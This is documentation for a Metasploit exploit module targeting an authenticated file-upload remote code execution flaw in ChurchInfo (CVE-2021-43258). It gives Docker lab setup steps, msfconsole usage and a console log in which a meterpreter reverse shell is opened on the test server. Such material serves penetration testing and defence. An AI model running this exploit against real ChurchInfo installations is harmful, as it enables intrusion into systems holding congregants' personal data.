## Vulnerable Application
* Project Homepage: http://www.churchdb.org/
* Project Download: https://sourceforge.net/projects/churchinfo/files/

ChurchInfo is an open source PHP application used to help churches manage systems and users of the church.
There are various vulnerabilities in the ChurchInfo software which can be exploited by an
attacker, however this module targets an authenticated remote code execution (RCE) vulnerability
known as CVE-2021-43258 to execute code as the web daemon user (e.g. www-data).

ChurchInfo v1.2.13, v1.2.14, and v1.3.0 contain functionality to email users listed in the ChurchInfo database
with attachments. When preparing the email, a draft of the attachment is saved into
`/tmp_attach/`, which is a web accessible folder under the ChurchInfo web root. Before the email is sent,
the attachment draft can be loaded in the application. By uploading a malicious PHP file
as an attachment and then browsing to it on the web server, RCE can be achieved.

This vulnerability was assigned CVE-2021-43258. Version 1.3.0 was the latest version of ChurchInfo at the time
of writing and there is presently no known patch for this issue.

### Installation
Installation guides are available on the SourceForge site at https://sourceforge.net/projects/churchinfo/files/.

The following however is a quick and easy way to get most versions of ChurchInfo up and running using Docker,
which should make it a lot easier to setup and also clean up once you are finished testing things out.

1. `wget https://master.dl.sourceforge.net/project/churchinfo/churchinfo/1.3.0/churchinfo-1.3.0.tar.gz`
1. `tar -xvf churchinfo-1.3.0.tar.gz`
1. `sudo docker run -i -t -p "9090:80" -v ${PWD}/churchinfo:/app mattrayner/lamp:0.8.0-1804-php7`.
1. `sudo docker ps -a` and find the container ID that was created and which is now running.
1. `sudo docker exec -it *container ID* /bin/bash`
1. Inside the new prompt:
1. `mysqladmin -u root -p create churchinfo` and press the ENTER key when prompted for the password.
1. `cd /app/churchinfo/SQL`
1. `mysql -u root -p churchinfo < Install.sql` and press the ENTER key when prompted for the password.
1. `apt-get install nano` if you want to use Nano.
1. `nano /app/churchinfo/Include/Config.php`.
1. Set the `$sUSER` variable to `'root'`.
1. Set the `$sPASSWORD` variable to `''`.
1. Set the `$sRootPath` variable to `'/churchinfo'`. This should be default though.
1. Set the `$URL[0]` to `http://localhost/churchinfo/Default.php`.
1. Exit out of `nano` and run `/etc/init.d/apache2 restart`
1. Log in at `http://127.0.0.1:9090/churchinfo/Default.php` with the username `Admin` and password `churchinfoadmin`.
1. This should cause the app to redirect to a password change form.
1. Specify the old password, aka `churchinfoadmin` and then specify the new password twice and submit the form.
1. Go to `http://127.0.0.1:9090/churchinfo/PersonEditor.php` and fill out the form with as much detail as possible.
1. Click "Save and Add".

## Verification Steps
This module requires authenticated access to the application. After identifying a vulnerable
ChurchInfo application, there MUST be a person entry available within the database. If there are no person
entries within the database, it will not be possible to create a draft email. This draft email
will be used to place the malicious attachment into the `/tmp_attach` directory for our exploit.

1. Start `msfconsole`
1. `use exploit/multi/http/churchinfo_upload_exec`
1. Set the target `RHOST`, `APPBASE`, `USERNAME`, and `PASSWORD` values.
1. Optional: Set the target `RPORT` if the ChurchInfo server is running on a different port than port 80.
1. Optional: `set SSL true` if the target is using SSL for ChurchInfo.
1. Select the payload of choice or leave default.
1. Set the `LHOST` to your system.
1. Run the exploit with `run`, enjoy the shell!

## Options
There are a handful of options which can be used to further configure the attack or other environmental uses.

### USERNAME
The username of a valid user account for the ChurchInfo application. Default is `admin`.

### PASSWORD
The password for a valid user account for the ChurchInfo application. Default is `churchinfoadmin` based on documentation.

### APPBASE
The base directory path to the ChurchInfo application. This can and will likely
vary depending on how the application was installed. Default value is `/churchinfo/`.

### EMAIL_SUBJ
The subject of the draft email used for the exploit, the email is not sent. Default value is `Read this now!`.

### EMAIL_MESG
The message on the draft email which is used for the exploit. The email is not sent. Default value is `Hello there!`.

## Scenarios
If there are no person entries in the database, the exploit will fail. To help troubleshoot, enable verbose mode with the following:

```
set verbose true
```

This will enable additional information and details about the exploit as it is launched.

### ChurchInfo v1.3.0 with MySQL 5.7.35 on Ubuntu Linux 18.04.2 LTS (Docker Image)
```
msf > use exploit/multi/http/churchinfo_upload_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(multi/http/churchinfo_upload_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(multi/http/churchinfo_upload_exec) > set RPORT 9090
RPORT => 9090
msf exploit(multi/http/churchinfo_upload_exec) > set PASSWORD testing123
PASSWORD => testing123
msf exploit(multi/http/churchinfo_upload_exec) > show options

Module options (exploit/multi/http/churchinfo_upload_exec):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EMAIL_MESG  Hello there!     yes       Email message in webapp
   EMAIL_SUBJ  Read this now!   yes       Email subject in webapp
   PASSWORD    testing123       yes       Password to login with
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS      127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT       9090             yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /churchinfo/     yes       The location of the ChurchInfo app
   USERNAME    admin            yes       Username for ChurchInfo application
   VHOST                        no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.30.182.196   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting



View the full module info with the info, or info -d command.

msf exploit(multi/http/churchinfo_upload_exec) > set LHOST docker0
LHOST => docker0
msf exploit(multi/http/churchinfo_upload_exec) > run

[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Target is ChurchInfo!
[+] The target is vulnerable. Target is running ChurchInfo 1.3.0!
[+] Logged into application as admin
[*] Navigating to add items to cart
[+] Items in Cart: Items in Cart: 2
[+] Uploading exploit via temp email attachment
[+] Exploit uploaded to /churchinfo/tmp_attach/ueNYs9.php
[+] Executing payload with GET request
[*] Sending stage (39927 bytes) to 172.18.0.2
[+] Deleted ueNYs9.php
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:37790) at 2022-11-18 17:44:31 -0600


meterpreter > getpid
Current pid: 452
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : 8eeaa82293b4
OS          : Linux 8eeaa82293b4 5.15.0-53-generic #59-Ubuntu SMP Mon Oct 17 18:53:30 UTC 2022 x86_64
Meterpreter : php/linux
meterpreter >
```
